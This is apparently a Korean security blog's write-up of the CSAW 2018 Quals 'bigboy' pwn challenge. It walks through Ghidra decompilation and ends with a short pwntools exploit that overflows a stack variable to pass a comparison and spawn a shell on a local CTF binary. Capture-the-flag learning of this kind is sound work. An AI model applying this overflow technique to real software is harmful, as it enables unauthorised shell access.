Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- dreamhack
- covid19
- djangovscode
- 코로나바이러스
- rev-basic-3
- 모세포
- AndroidOS
- Django
- 코로나
- 해킹문제
- 정보보호영재원
- 해킹
- 장고vscode
- 해커
- 바이러스
- 리버싱
- 코로나바이러스19
- csaw 2018
- webhacking.kr문제풀이
- 파이썬
- csaw
- 장고
- web
- 웹해킹
- 파이썬웹
- jango
- vscode
- 취약점점검
- 백준
- 1546
Archives
- Today
- Total
Kilkat
Csaw 2018 Quals bigboy 본문
프로그램 실행시 사용자 입력을 기다리고, 입력값이 틀리면 system date가 출력됨
ghidra를 사용하여 decompile로 main을 확인해보면 아래와 같은 로직으로 구성되어 있는것을 확인할 수 있음
- 성공시 쉘 획득 or 실패시 date 출력
- 가장 핵심이 되는 부분은 사용자 입력값을 받는 0x18(dec=24) 값과, if 구문에서 비교 대상이 되는 해당 주소(-0x350c4512)임
if 구문에서 비교 대상이 되는 -0x350c4512 주소를 확인해보면 다음과 같음
최종 목표는 /bin/bash 쉘을 획득하는 것이 목표이기 때문에 입력값 0x18(24) 바이트 중 20바이트를 null 값으로 채운 후 if 구문에서 값 비교가 되는 0xcaf3baee 값을 넣어서 exploit 코드를 구성하면됨
from pwn import *
null = b'\x00' * 20
value = 0xCAF3BAEE
little_endian_value = p32(value)
payload = null + little_endian_value
target = process('./boi')
target.send(payload)
target.interactive()
성공💣
https://github.com/osirislab/CSAW-CTF-2018-Quals/tree/master/pwn/bigboy
'Security > reverse engineering' 카테고리의 다른 글
[dreamhack] rev-basic-3 (0) | 2024.12.10 |
---|---|
(Linux) .so hooking (0) | 2024.11.14 |
공주대학교 리버싱문제(중) KingKEY (0) | 2018.08.04 |
프로그램 시리얼 해킹2(코드엔진 advance 03.exe) (0) | 2018.01.10 |
프로그램 시리얼 해킹1(코드엔진 basic3) (2) | 2017.12.25 |
Comments